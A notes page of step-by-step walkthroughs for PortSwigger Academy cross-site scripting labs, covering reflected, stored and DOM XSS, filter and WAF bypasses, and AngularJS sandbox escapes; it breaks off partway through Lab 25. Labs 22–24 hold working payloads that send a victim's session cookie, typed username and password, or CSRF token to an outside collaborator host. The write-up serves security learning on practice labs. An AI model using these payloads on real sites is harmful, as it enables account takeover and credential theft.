> For the complete documentation index, see [llms.txt](https://notes.dollarboysushil.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.dollarboysushil.com/web-application-pentest/cross-site-scripting-xss/cross-site-scripting-xss-labs-portswigger-academy.md).

# Cross-Site Scripting (XSS) (Labs: Portswigger Academy)

## Little Refresher

There are three main types of XSS attacks. These are:

* [Reflected XSS](https://portswigger.net/web-security/cross-site-scripting#reflected-cross-site-scripting), where the malicious script comes from the current HTTP request.
* [Stored XSS](https://portswigger.net/web-security/cross-site-scripting#stored-cross-site-scripting), where the malicious script comes from the website's database.
* [DOM-based XSS](https://portswigger.net/web-security/cross-site-scripting#dom-based-cross-site-scripting), where the vulnerability exists in client-side code rather than server-side code.

## Labs from PortSwigger Academy

🟩🟩APPRENTICE LAB🟩🟩

### Lab 1: Reflected XSS into HTML context with nothing encoded

This lab contains a simple reflected cross-site scripting vulnerability in the search functionality.

To solve the lab, perform a cross-site scripting attack that calls the `alert` function.

vulnerable search request:

```
https://0a6c00260467044d85d8ea36004700cc.web-security-academy.net/?search=<sushil>
```

* passed search string is reflected
* Viewing page source reveals, special character are not encoded.

xss payload

```
<script>alert(0)</script>
```

page source:

```html
<h1>
  0 search results for '
  <script>
    alert(0);
  </script>
  '
</h1>
```

### Lab 2: Stored XSS into HTML context with nothing encoded

This lab contains a stored cross-site scripting vulnerability in the comment functionality.

To solve this lab, submit a comment that calls the `alert` function when the blog post is viewed.

vulnerable request:

```
POST /post/comment HTTP/2
Host: 0aa50063043583d680b40354005e007c.web-security-academy.net
Cookie: session=Hs14etAGsOW5T6yPJxXRSBJuMPvAX9d6
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 125
Origin: https://0aa50063043583d680b40354005e007c.web-security-academy.net
Referer: https://0aa50063043583d680b40354005e007c.web-security-academy.net/post?postId=6
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

csrf=qaU40ssl7cVcMa4USawwEPDtR1FEyy1N&postId=6&comment=<thisiscomment>&name=<thisisname>&email=a@gmail.com&website=
```

page source:

```html
<section class="comment">
                        <p>
                        <img src="/resources/images/avatarDefault.svg" class="avatar">                            &lt;thisisname&gt; | 29 October 2025
                        </p>
                        <p><thisiscomment></p>
                        <p></p>
                    </section>
```

`name` is encoded but `comment` section is not encoded

xss payload

```
<script>alert(0)</script>
```

page source:

```html
<section class="comment">
  <p>
    <img src="/resources/images/avatarDefault.svg" class="avatar" />
    &lt;thisisname&gt; | 29 October 2025
  </p>
  <p>
    <script>
      alert(0);
    </script>
  </p>
  <p></p>
</section>
```

### Lab 3: DOM XSS in document.write sink using source location.search

This lab contains a DOM-based cross-site scripting vulnerability in the search query tracking functionality. It uses the JavaScript `document.write` function, which writes data out to the page. The `document.write` function is called with data from `location.search`, which you can control using the website URL.

To solve this lab, perform a cross-site scripting attack that calls the `alert` function.

vulnerable request:

```
https://0a63001e04a7ce8981929d79001c00da.web-security-academy.net/?search=<sushil>
```

The passed value is used in two places.

```html
<section class="blog-header">
  <h1>1 search results for '&lt;sushil&gt;'</h1>
  <hr />
</section>
```

* properly encoded here.

next is:

```
<img src="/resources/images/tracker.gif?searchTerms=<sushil>">
```

due to the use of following script.

```js
<script>
                        function trackSearch(query) {
                            document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">');
                        }
                        var query = (new URLSearchParams(window.location.search)).get('search');
                        if(query) {
                            trackSearch(query);
                        }
                    </script>
```

which means, the passed search parameter is used in `<img>` tag without encoding.

XSS Payload

```
" onload=alert(1)><"
```

this makes the final implemented script as:

```
<img src="/resources/images/tracker.gif?searchTerms=" onload=alert(1)><"">
```

### Lab 4: DOM XSS in innerHTML sink using source location.search

This lab contains a DOM-based cross-site scripting vulnerability in the search blog functionality. It uses an `innerHTML` assignment, which changes the HTML contents of a `div` element, using data from `location.search`.

To solve this lab, perform a cross-site scripting attack that calls the `alert` function.

vulnerable code:

```js
<section class=blog-header>
                        <h1><span>0 search results for '</span><span id="searchMessage"></span><span>'</span></h1>
                        <script>
                            function doSearchQuery(query) {
                                document.getElementById('searchMessage').innerHTML = query;
                            }
                            var query = (new URLSearchParams(window.location.search)).get('search');
                            if(query) {
                                doSearchQuery(query);
                            }
                        </script>
                        <hr>
                    </section>
```

explaination:

| Statement                                                                         | Explanation                                  |
| --------------------------------------------------------------------------------- | -------------------------------------------- |
| `var query = (new URLSearchParams(...)).get('search')` gets the value of `search` | From URL `?search=hello` → `query = "hello"` |
| `if(query)` checks if search exists                                               | Prevents error if no search                  |
| `doSearchQuery(query)` passes `"hello"` to function                               | Function receives `"hello"`                  |
| `innerHTML = query` puts `"hello"` inside `<span id="searchMessage">`             | Replaces content                             |

In conclusion, what ever is passed in to search query, it is passed and filled inside span tag.

```html
<span>1 search results for '</span><span id="searchMessage">hello</span
><span>'</span>
```

XSS payload for span tag.

```
<img src=x onerror=alert('XSS')>
```

`<script>alert(0)</script>` **will NOT work** when injected into a `<span>` via innerHTML.

### Lab 5: DOM XSS in jQuery anchor href attribute sink using location.search source

This lab contains a DOM-based cross-site scripting vulnerability in the submit feedback page. It uses the jQuery library's `$` selector function to find an anchor element, and changes its `href` attribute using data from `location.search`.

To solve this lab, make the "back" link alert `document.cookie`.

vulnerable code:

```js
<script>
	$(function() {
		$('#backLink').attr("href", (new URLSearchParams(window.location.search)).get('returnPath'));
	});
</script>
```

explanation of code:

* this jQuery is fired once the site is fully loaded.
* `$('#backLink')` --> jQuery searches the DOM for an element with `id="backLink"`
* `(new URLSearchParams(window.location.search)).get('returnPath')`--> extracts the value of returnPath from url.
* `$('#backLink').attr("href", {value from above step})` --> `<a id="backLink">` element now receives a new href.

So, in conclusion, this code takes the value of `returnPath` from the URL and sets it as the `href` (destination) of the `<a id="backLink">` link.

before: `<a id="backLink" >Back</a>`

after: `<a id="backLink" href="/">Back</a>`

xss payload:

```js
javascript: alert(document.cookie);
```

final form of html after xss injection.

```js
<a id="backLink" href="javascript:alert(document.cookie)">
  Back
</a>
```

Why `"</a> <script>alert(0)</script><"` wont work.

* You are **not** injecting into .innerHTML or .html()
* You are setting the **href attribute**
* So the browser treats your payload as a **URL**, not HTML

### Lab 6: DOM XSS in jQuery selector sink using a hashchange event

This lab contains a DOM-based cross-site scripting vulnerability on the home page. It uses jQuery's `$()` selector function to auto-scroll to a given post, whose title is passed via the `location.hash` property.

To solve the lab, deliver an exploit to the victim that calls the `print()` function in their browser.

vulnerable code:

```js
< script >
    $(window).on('hashchange', function() {
        var post = $('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')');
        if (post) post.get(0).scrollIntoView();
    });
</script>

```

code explanation:

* when URL hash changes (e.g. `#POST1`), automatically scroll to the blog post with matching `<h2>` title.
* `$(window).on('hashchange', function() { ... });` -->listens for change in URL hash
* `window.location.hash → "#Hello-World"`
* `window.location.hash.slice(1) → "Hello-World"`
* `decodeURIComponent("Hello%20World") → "Hello World"`
* `$('section.blog-list h2:contains("Hello World")')`
  * jQuery selectory finds `<h2>` tags
  * inside `<section class="blog-list">`
  * Whose text contains `"Hello World"`
* `var post = $('...');` --> stores the jQuery object of the matching `<h2>` tag
* `if (post) post.get(0).scrollIntoView();` --> if there exist data in post variable then it scrolls to that part.

In conclusion, it captures the content of `#` from URL (on change), finds if that content presence in `<h2>` tag inside `blog-list` section. after that it scrolls to that section.

```
URL: yoursit.com/blog#My%20Post
   ↓
1. hashchange fires
   ↓
2. hash = "#My%20Post"
   ↓
3. slice(1) = "My%20Post"
   ↓
4. decode = "My Post"
   ↓
5. $('section.blog-list h2:contains("My Post")')
   ↓
6. post = [ <h2>My Post</h2> ]
   ↓
7. if(post) → true
   ↓
8. post.get(0).scrollIntoView()
   ↓
🏆 PAGE SCROLLS TO "My Post"
```

XSS payload

```
visit
https://0a9c001b03b0c2898153b10200920076.web-security-academy.net/#random

and then

https://0a9c001b03b0c2898153b10200920076.web-security-academy.net/#<img src=1 onerror=print()>
```

how this payload works.

* Browser detects the hash change from `random` to `<img src=1 onerror=alert(1)>` so, `on('hashchange')` is triggered
* `decodeURIComponent(window.location.hash.slice(1))` captures, slices and URL decodes the value after `#`
* Final selector: `$('section.blog-list h2:contains(<img src=1 onerror=alert(1)>)')`
* jQuery’s Sizzle engine tries to evaluate the selector. It misinterprets the `<img...>` as HTML to inject into a temporary DOM context to "search" for matches.

**Sizzle's internal process (BUGGY behavior):**

1. Parse the selector: h2:contains`(<img src=1 onerror=alert(1)>)`
2. **Sees \<img...> and thinks:** *"Oh! This looks like HTML!"*
3. **Instead of treating it as a literal string**, Sizzle **creates a temporary DOM** with: `<div><img src=1 onerror=print(1)></div>`
4. **Tries to "search"** for `<h2>` elements that contain this HTML. and XSS executes during this temporary DOM creation! This is due to vulnerability in [jQuery Version](https://threatmon.io/what-is-jquery-xss-vulnerability-version/).

For the xss payload to trigger there need to be hashchange. For victim this can be achieved using iframe

```js
<iframe
  src="https://0a1d00ed04e0bca48155436000970031.web-security-academy.net/#"
  onload="this.src+='<img src=x onerror=print()>'"
></iframe>
```

### Lab 7: Reflected XSS into attribute with angle brackets HTML-encoded

This lab contains a reflected cross-site scripting vulnerability in the search blog functionality where angle brackets are HTML-encoded. To solve this lab, perform a cross-site scripting attack that injects an attribute and calls the `alert` function.

for search term `<sushil>`

```html
<form action=/ method=GET>
                            <input type=text placeholder='Search the blog...' name=search value="&lt;sushil&gt;">
                            <button type=submit class=button>Search</button>
                        </form>
```

* both `< and >` are url encoded, but the supplied data is reflected inside attribute.

for search term `"sushil"`

```html
<form action=/ method=GET>
                            <input type=text placeholder='Search the blog...' name=search value=""sushil"">
                            <button type=submit class=button>Search</button>
                        </form>
```

* `"` is not encoded.

XSS payload by introducing new attribute.

```
" onfocus="alert(1)

or
" onfocus="alert(1)" autofocus"

or
"onmouseover="alert(1)

```

![](/files/ZAUL4s4UFRkX2FyKKLg3)

### Lab 8: Stored XSS into anchor `href` attribute with double quotes HTML-encoded

This lab contains a stored cross-site scripting vulnerability in the comment functionality. To solve this lab, submit a comment that calls the `alert` function when the comment author name is clicked.

vulnerable point.

```html
<section class="comment">
  <p>
    <img src="/resources/images/avatarDefault.svg" class="avatar" /><a
      id="author"
      href='http://<"thisiswebsite">.com'
      >&lt;&quot;thisisname&quot;&gt;</a
    >
    | 29 October 2025
  </p>
  <p>&lt;&quot;thisiscomment&quot;&gt;</p>
  <p></p>
</section>
```

passed website url's `"` is HTML-encoded

xss payload

```
javascript:alert()
```

```html
<section class="comment">
  <p>
    <img src="/resources/images/avatarDefault.svg" class="avatar" /><a
      id="author"
      href="javascript:alert()"
      >asdfas</a
    >
    | 29 October 2025
  </p>
  <p>a</p>
  <p></p>
</section>
```

### Lab 9: Reflected XSS into a JavaScript string with angle brackets HTML encoded

This lab contains a reflected cross-site scripting vulnerability in the search query tracking functionality where angle brackets are encoded. The reflection occurs inside a JavaScript string. To solve this lab, perform a cross-site scripting attack that breaks out of the JavaScript string and calls the `alert` function.

when search parameter is passed as `<"sushil">`

```js
<script>
var searchTerms = '&lt;"sushil"&gt;';
document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
</script>
```

from the passed value, `< and >` are HTML encoded, but `' and "` are not encoded.

XSS Payload

```html
'; alert(0); var dummy = '
```

this payload will edit the script tag as:

```
<script>
var searchTerms = ''; alert(0); var dummy = '';
document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
</script>
```

alternative xss payload:

```
'-alert(1)-'


```

```
<script>
var searchTerms = ''-alert(1)-'';
document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
</script>
```

other payload

```
';alert(1)//asdfasdf
```

🟦🟦PRACTITIONER LABS🟦🟦

### Lab 10: DOM XSS in document.write sink using source location.search inside a select element

This lab contains a DOM-based cross-site scripting vulnerability in the stock checker functionality. It uses the JavaScript `document.write` function, which writes data out to the page. The `document.write` function is called with data from `location.search` which you can control using the website URL. The data is enclosed within a select element.

To solve this lab, perform a cross-site scripting attack that breaks out of the select element and calls the `alert` function.

Vulnerable Code:

```html
< script > var stores = ["London", "Paris", "Milan"]; var store = (new
URLSearchParams(window.location.search)).get('storeId'); document.write('<select
  name="storeId"
>
  '); if (store) { document.write('
  <option selected>' + store + '</option>
  '); } for (var i = 0; i < stores.length; i++) { if (stores[i] === store) {
  continue; } document.write('
  <option>' + stores[i] + '</option>
  '); } document.write('</select
>'); < /script>
```

code explanation:

* `var store = (new URLSearchParams(window.location.search)).get('storeId');` --> gets the value of storeId from the URL.
* `document.write('<select name="storeId">');` --> start writing the dropdown HTML
* `if (store) { document.write('<option selected>' + store + '</option>'); }` --> if store exist , adds pre-selected option with the value
  * `selected` → this option appears chosen by default
* `for` loop → Add remaining options
  \*
  * Loops through **all stores**
  * **Skips** the one already added (if store exists)
  * Adds each as an `<option>`
* `document.write('</select>');` --> closes the dropdown

Final Output Example: **Example 1: URL = ?storeId=Paris**

```
<select name="storeId">
  <option selected>Paris</option>
  <option>London</option>
  <option>Milan</option>
</select>
```

**OUTPUT**

```
<select name="storeId">
  <option selected><script>alert('XSS')</script></option>
  <option>London</option>
  ...
</select>
```

XSS Payload:

```
<script>alert('XSS')</script>
```

In URL:

```
https://0ae70062046081df801da8be005000b8.web-security-academy.net/product?productId=17&storeId=<script>alert('XSS')</script>
```

### Lab 11: DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded

This lab contains a DOM-based cross-site scripting vulnerability in a AngularJS expression within the search functionality.

AngularJS is a popular JavaScript library, which scans the contents of HTML nodes containing the `ng-app` attribute (also known as an AngularJS directive). When a directive is added to the HTML code, you can execute JavaScript expressions within double curly braces. This technique is useful when angle brackets are being encoded.

To solve this lab, perform a cross-site scripting attack that executes an AngularJS expression and calls the `alert` function.

![](/files/FY4eQBjvADq19ghE8WnQ)

keythings

* use passed `< and >` are html encoded
* angular js is used
* `ng-app` attribute is added to body element. This means in anywhere within the body HTML element we are able to execute Javascript using `{{ }}`

for example:

![](/files/gXPRe1hNbNmyUd4kgBVP)

but we cannot use `{{alert()}} or {{print()}}` because angularJS javascript sandbox doesnot give us access to these type of functions with in double curly braces.

XSS payload:

```
{{$on.constructor('alert(1)')()}}
```

Watch this to better understand: <https://youtu.be/P7_JPsX1ses>

### Lab 12: Reflected DOM XSS

This lab demonstrates a reflected DOM vulnerability. Reflected DOM vulnerabilities occur when the server-side application processes data from a request and echoes the data in the response. A script on the page then processes the reflected data in an unsafe way, ultimately writing it to a dangerous sink.

To solve this lab, create an injection that calls the `alert()` function.

![](/files/wIpxkD4ywjJTUv06gHSN)

there is use of `searchResults.js` viewing the js file reveals the use of eval function

![](/files/gvDnET2g9rYKvYidjMR7)

after we do search, there exits additional request which gives json response

![](/files/Iwfn7MaI2UljAQchBa8B)

combining everything.

from the request `/search-results?search=sushil` the response value `searchTerm` is passed onto the `eval` function of `searchResults.js`

![](/files/zyFKOzhNKwQQJha1hsaA)

JSON response is escaping `"`

The main idea here is to get something like this in eval function;

```js
eval('var searchResultsObj = "test"; alert(0);');
```

so we need a way to escape the `" "`

![](/files/sK13FvohV4zu7NtLqA4m)

`"` is escaped

![](/files/7FNIQP9cSQOmdyTyaVNn)

`\ is escaping \` so `"` is free

![](/files/FafKaOUDlZvpsT2uWsep)

XSS Payload

```js
\" };alert(0);//
```

### Lab 13: Stored DOM XSS

This lab demonstrates a stored DOM vulnerability in the blog comment functionality. To solve this lab, exploit this vulnerability to call the `alert()` function.

XSS Payload:

```
<p></p><img src=x onerror=alert('XSS')><p></p>

```

![](/files/pRQfr8YmBgufCCCONeXT)

Actual method:

* there exist `resources/js/loadCommentsWithVulnerableEscapeHtml.js`
* this js file is responsible for HTML encoding `<`and `>`

![](/files/nbhoiDdyaMbC8CdBBIc5)

![](/files/3jENKFfNjOrwaT5jj1d2)

there exist a loophole, it only encodes the 1st instances of the angle brackets

![](/files/rKMy3jfAiVtIoxprIuwK)

which means, we can use this payload to get xss

```
<><img src=1 onerror=alert(1)>
```

### Lab 14: Reflected XSS into HTML context with most tags and attributes blocked

This lab contains a reflected XSS vulnerability in the search functionality but uses a web application firewall (WAF) to protect against common XSS vectors.

To solve the lab, perform a cross-site scripting attack that bypasses the WAF and calls the `print()` function.

when trying common xss payloads it gives Tag is not allowed.

```
<img src=1 onerror=print()>
```

![](/files/A7plw0JxiXwnNV1sICEo)

![](/files/e9AzUvs20jtZAO3yI3z8)

lets bruteforce the tags. [Get tags from here](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)

![](/files/1bez5q7DtNwdNzTnf3uk)

![](/files/AG34Uhg869b1nLLHDwFV)

two tags `<body>` and `<custom tags>` are allowed

lets move on with `<body>` tag. next step is to find which events are allowed

![](/files/MGLSjhC3uBDlCmi7dZtI)

![](/files/oiWhWiiLjG7MGv9loUe9)

there a lot of allowed events. since we need to trigger xss without victim's interaction, we need to choose proper event tag. `onresize` looks easy one.

XSS payload

```
<iframe src="https://0af1006103fd822580ec5d9000b100a4.web-security-academy.net/?search=<body onresize='print()'>" onload=this.style.width='500px'>
```

### Lab 15: Reflected XSS into HTML context with all tags blocked except custom ones

This lab blocks all HTML tags except custom ones.

To solve the lab, perform a cross-site scripting attack that injects a custom tag and automatically alerts `document.cookie`.

same as previous lab. only difference is all tags are blocked except custom ones.

XSS Payload

```
<script>
lcoation = "https://0a6000590315195c81f8d93500c900a7.web-security-academy.net/?search=<xss autofocus tabindex=1 onfocus=alert(document.cookie)></xss>"
</script>
```

* `location = "..."` is a **special assignment** in JavaScript that **immediately redirects** the browser to the given URL.

### Lab 16: Reflected XSS with some SVG markup allowed

This lab has a simple reflected XSS vulnerability. The site is blocking common tags but misses some SVG tags and events.

To solve the lab, perform a cross-site scripting attack that calls the `alert()` function.

Same as previous 2 labs:

allowed tags:

![](/files/actx2LAIaTeYD19JyKU4)

working xss payload;

```
<svg><animatetransform onbegin=alert(1) attributeName=transform>
```

### Lab 17: Reflected XSS in canonical link tag

This lab reflects user input in a canonical link tag and escapes angle brackets.

To solve the lab, perform a cross-site scripting attack on the home page that injects an attribute that calls the `alert` function.

To assist with your exploit, you can assume that the simulated user will press the following key combinations:

* `ALT+SHIFT+X`
* `CTRL+ALT+X`
* `Alt+X`

Please note that the intended solution to this lab is only possible in Chrome.

A canonical tag (also known as a rel="canonical" link tag) is an HTML element used in the `<head>` section of a webpage to specify the preferred (canonical) version of a page when multiple URLs display the same or nearly identical content. Syntax:

```html
<link rel="canonical" href="https://example.com/preferred-page-url" />
```

**Example Scenario**

You have the same product page accessible via multiple URLs:

* `https://example.com/shoes/nike-air`
* `https://example.com/shoes/nike-air?color=red`
* `https://example.com/shoes/nike-air?utm_source=newsletter` This tells Google: *"Index and rank the clean URL, ignore the others."*

![](/files/88qtXw1vya4dvg3LpkuZ)

XSS Payload

```
https://0ada0095031f629782ab3fb8001d003f.web-security-academy.net/?sushil=test%27%09onclick=%27alert(1)%27%09accesskey=%27x%27
```

* space was url encoded so url encoded version of new line `%09` is used

The link tag becomes

![](/files/h7QSeWxrBcQ6DA3M4vR3)

### Lab 18: Reflected XSS into a JavaScript string with single quote and backslash escaped

This lab contains a reflected cross-site scripting vulnerability in the search query tracking functionality. The reflection occurs inside a JavaScript string with single quotes and backslashes escaped.

To solve this lab, perform a cross-site scripting attack that breaks out of the JavaScript string and calls the `alert` function.

lets say we search query is `<sushil>`, it is reflected as

![](/files/uRBeWF7Sm4f1QqYsVZz6)

when `';alert(0);` is supplied, `'` is escaped

![](/files/cmNFWEWQvEztu08jSeD7)

XSS Payload

```
</script><script> alert() </script>
```

![](/files/G4okrS9GG5A4Vsx4UVYm)

### Lab 19: Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped

This lab contains a reflected cross-site scripting vulnerability in the search query tracking functionality where angle brackets and double are HTML encoded and single quotes are escaped.

To solve this lab, perform a cross-site scripting attack that breaks out of the JavaScript string and calls the `alert` function.

Findings

* Angle brackets --> HTML encoded
* Double quotes --> HTML encoded
* Single quotes --> Escaped

![](/files/swdkDBRiFo5V7Q6owiba)

for search query `<'sushil'>` angle brackets are encoded and `'` are escaped.

XSS Payload

```
\';alert(0);//
```

![](/files/vqNXZlupsFylrC49lltp)

### Lab 20: Stored XSS into onclick event with angle brackets and double quotes HTML-encoded and single quotes and backslash escaped

This lab contains a stored cross-site scripting vulnerability in the comment functionality.

To solve this lab, submit a comment that calls the `alert` function when the comment author name is clicked.

![](/files/iJm7slnhu6hXCB2BBCYn)

we are interested in `onclick` portion

```
onclick="var tracker={track(){}};tracker.track('http://&lt;&quot;thisiswebsite&quot;&gt;.com');"
```

trying to make this

```
onclick="var tracker={track(){}};tracker.track('http://test'-alert(0)-'');"
```

due to encoding and escaping, it becomes

![](/files/BwhTbXyehkXKKatJ9aWv)

```
onclick="var tracker={track(){}};tracker.track('http://test\'-alert(0)-\'');"
```

trying additional `\` to bypass `'` escape fails.

![](/files/G7Uo99RvmgNnXfPV0fzw)

lets bypass `'`escape using its HTML entity version

`'` --> HTML Entity --> `&apos;`

XSS PAYLOAD

```
http://test&apos;-alert(0)-&apos;
```

![](/files/MYUKd6odB4fU8MSqoSwG)

![](/files/hmwyvvrPhE5PPyz99x1v)

lets understand the flow of xss

after injection:

```
onclick="var tracker={track(){}}; tracker.track('http://test'-alert(0)-'');"
```

| Part            | What Happens                                             |
| --------------- | -------------------------------------------------------- |
| `'http://test'` | → String                                                 |
| `-`             | → **Subtraction operator**                               |
| `alert(0)`      | → **Runs immediately**, shows popup, returns `undefined` |
| `-`             | → Another subtraction                                    |
| `''`            | → Empty string → `0` in math                             |

Why this works: The key trick

| Trick                              | Why It Works                                                    |
| ---------------------------------- | --------------------------------------------------------------- |
| **`-alert(0)-`**                   | Uses **mathematical subtraction** to **inject executable code** |
| **No need to close quotes**        | You're already **inside a string** — `'` is just a character    |
| **`alert(0)` returns `undefined`** | Perfect for math: `string - undefined = NaN` → no error         |
| **No syntax break**                | The expression is **grammatically valid JS**                    |

```
tracker.track(  'http://test'  -  alert(0)  -  ''  );
                ↑             ↑   ↑         ↑   ↑
                |             |   |         |   |
           String literal   |  Runs!    |  Empty string → 0
                            |           |
                     Subtraction     Subtraction
```

### Lab 21: Reflected XSS into a template literal with angle brackets, single, double quotes, backslash and backticks Unicode-escaped

This lab contains a reflected cross-site scripting vulnerability in the search blog functionality. The reflection occurs inside a template string with angle brackets, single, and double quotes HTML encoded, and backticks escaped. To solve this lab, perform a cross-site scripting attack that calls the alert function inside the template string.

![](/files/S3doEzXZPTDYvlM4ih4k)

search query is passed with unicode escaped.

* string has been reflected inside a JavaScript template string.

First lets understand `` ` `` Template Literals in JavaScript

**Basic Syntax**

| Type               | Example                  | Result                              |
| ------------------ | ------------------------ | ----------------------------------- |
| **Regular string** | `` `Hello World` ``      | `"Hello World"`                     |
| **With variables** | `` `Hello ${name}` ``    | `"Hello John"` (if `name = "John"`) |
| **Multi-line**     | `` `Line 1<br>Line 2` `` | `"Line 1\nLine 2"`                  |

**Expression Interpolation**

| Example                                      | Result                                       |
| -------------------------------------------- | -------------------------------------------- |
| `` `2 + 2 = ${2 + 2}` ``                     | `"2 + 2 = 4"`                                |
| `` `User: ${user.name}, Age: ${user.age}` `` | `"User: John, Age: 30"`                      |
| `` `Price: ${price * quantity}` ``           | `"Price: $150"`                              |
| `` `${alert('XSS!')}` ``                     | **Runs `alert()` and returns `"undefined"`** |

XSS Payload

```
${alert(0)}
```

![](/files/L7fVz5Os2BVvdVowC6l6)

### Lab 22: Exploiting cross-site scripting to steal cookies

This lab contains a stored XSS vulnerability in the blog comments function. A simulated victim user views all comments after they are posted. To solve the lab, exploit the vulnerability to exfiltrate the victim's session cookie, then use this cookie to impersonate the victim.

Finding out the XSS vuln:

![](/files/rhYYeCH39sRoKNVaT48b)

user supplied data are passed as above. comment section look vulnerable.

XSS Payload.

```
</p><script>alert(0)</script><p>
```

![](/files/6uIeywwSClEf9Jp8IVWm)

now editing the xss payload to capture cookie.

```
</p><script>fetch('https://0abnouxdqdlez91tdv4pwntpmgs7gx4m.oastify.com/?cookie='+document.cookie);</script><p>
```

In Collaborator, we will receive session cookie like this:

![](/files/mm2eylRf1ftu2OIIWnPX)

use that cookie and we are logged in.

### Lab 23: Exploiting cross-site scripting to capture passwords

This lab contains a stored XSS vulnerability in the blog comments function. A simulated victim user views all comments after they are posted. To solve the lab, exploit the vulnerability to exfiltrate the victim's username and password then use these credentials to log in to the victim's account.

![](/files/cj3XENriXRotroagf5tZ)

same as before, xss vulnerable field = comment

checking xss;

```
</p><script>alert(0)</script><p>
```

editing payload to capture password. previous cookie stealing method wont work here.

```
<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://0abnouxdqdlez91tdv4pwntpmgs7gx4m.oastify.com',
{
	method:'POST',
	mode: 'no-cors',
	body:username.value+':'+this.value
});">
```

Explanation:

* we are setting up username and password fields.
* `onchange` --> js runs when the password field loses focus(after typing)
* `if(this.value.lenght` --> checks if the password value is empty or not. if not then moves to next step.
* `fetch` --> sends post request to out controlled server
* `no-cors` --> is making this request send to attacker site and not care or not take the response of that request
* `body:username.value+':'+this.value` --> Sends: `username:password`

after commenting, we get this:

![](/files/Vw500pXikxtU4j9Kozgn)

username and password fields.

and we should get username:password in collaborator request:

![](/files/1R86PY3BPT3IgTAkzQRA)

### Lab 24: Exploiting XSS to bypass CSRF defenses

This lab contains a stored XSS vulnerability in the blog comments function. To solve the lab, exploit the vulnerability to steal a CSRF token, which you can then use to change the email address of someone who views the blog post comments.

You can log in to your own account using the following credentials: `wiener:peter`

* Same as before, Comment is vulnerable to XSS. Session is set as `HttpOnly` true so we cannot steal the cookie.

Checkout my notes on [CSRF](https://dollarboysushil.com/posts/Web-Application-Cross-Site-Request-Forgery-\(CSRF\)-Vulnerabilites/) if you are new.

request for changing email:

```
POST /my-account/change-email HTTP/2
Host: 0afa004d03ce83c7800b03bf00aa0072.web-security-academy.net
Cookie: session=lD9Fi6vNWkeKAZCoIpPj4hmokXatZWxW
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0


email=test%40gmail.com&csrf=1gZODqCRyGfJjXEpO36lSnYPWtlEhZFX
```

Now we need to think of a way to get the csrf token.

![](/files/OTrdDl7MtNZYWb9U0FFp)

csrf token is present in `/my-account` endpoint

lets craft a simple xss payload that fetches /my-account and extracts the csrf token and sends to our controlled site (burp collaborator)

```
<script>
fetch('https://0afa004d03ce83c7800b03bf00aa0072.web-security-academy.net/my-account')
  .then(r => r.text())
  .then(html => {
    const parser = new DOMParser();
    const doc = parser.parseFromString(html, 'text/html');
    const csrf = doc.querySelector('input[name="csrf"]').value;

    fetch('https://110ofvoehecfqasu4wvqnokqdhj870vp.oastify.com/steal', {
      method: 'POST',
      mode: 'no-cors',
      body: 'csrf=' + encodeURIComponent(csrf)
    });
  });
</script>
```

![](/files/u2e1CxXBbYQtcudYHs3X)

got the csrf. Now using burpsuite > Engagement Tool > generate csrf poc

![](/files/GW2zBlHiHVleVJos2Oa1)

```


  <body>
    <form action="https://0afa004d03ce83c7800b03bf00aa0072.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="dollarboysushil&#64;gmail&#46;com" />
      <input type="hidden" name="csrf" value="DHcbjCQ1IPac9oNtv3ixyLseyvFQ1Nns" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>


```

paste this into comment.

![](/files/0qBMsg1fnHCT3vKuSnWi)

### Lab 25: Reflected XSS with AngularJS sandbox escape without strings

This lab uses AngularJS in an unusual way where the `$eval` function is not available and you will be unable to use any strings in AngularJS.

To solve the lab, perform a cross-site scripting attack that escapes the sandbox and executes the `alert` function without using the `$eval` function.

![](/files/KLwWSBGx3EsRskHotjE4)

Passed search query `<"sushil">` is interpreted as above.

```html
<script>
  angular
    .module("labApp", [])
    .controller("vulnCtrl", function ($scope, $parse) {
      $scope.query = {};
      var key = "search";
      $scope.query[key] = "&lt;&quot;sushil&quot;&gt;";
      $scope.value = $parse(key)($scope.query);
    });
</script>
```

Easy explanation of the code:

* It creates a box (`$scope.query`) to hold data.
* It puts a **dangerous string** (<"sushil">) into that box under the name search.
* Then it **reads that value back** using `$parse`. **What is $parse?**
* $parse is like a **magic reader**.
* It can **read values** from objects **or even run code** if the input is tricky.
* Normally safe... but **can be abused**.

```
$parse(key)($scope.query)
```

→ This says: **"Run whatever key is as an expression!"**

| If `key` is...                     | Then `$parse(key)(...)` does...  |
| ---------------------------------- | -------------------------------- |
| `'search'`                         | Gets the value of `query.search` |
| `'user.name'`                      | Gets `query.user.name`           |
| **`'search + $eval("alert(1)")'`** | **Runs `alert(1)`!**             |

Working payload from [here](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#angularjs-dom--1.4.4-\(without-strings\)).

```
toString().constructor.prototype.charAt=[].join; [1,2]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)
```

explanation of code:\
PART 1:

* `toString().constructor.prototype.charAt = [].join;`
  * `.charAt` A method that gets a character from a string
  * `=[].join` join = turns array into string `(like [a,b] → "a,b")`
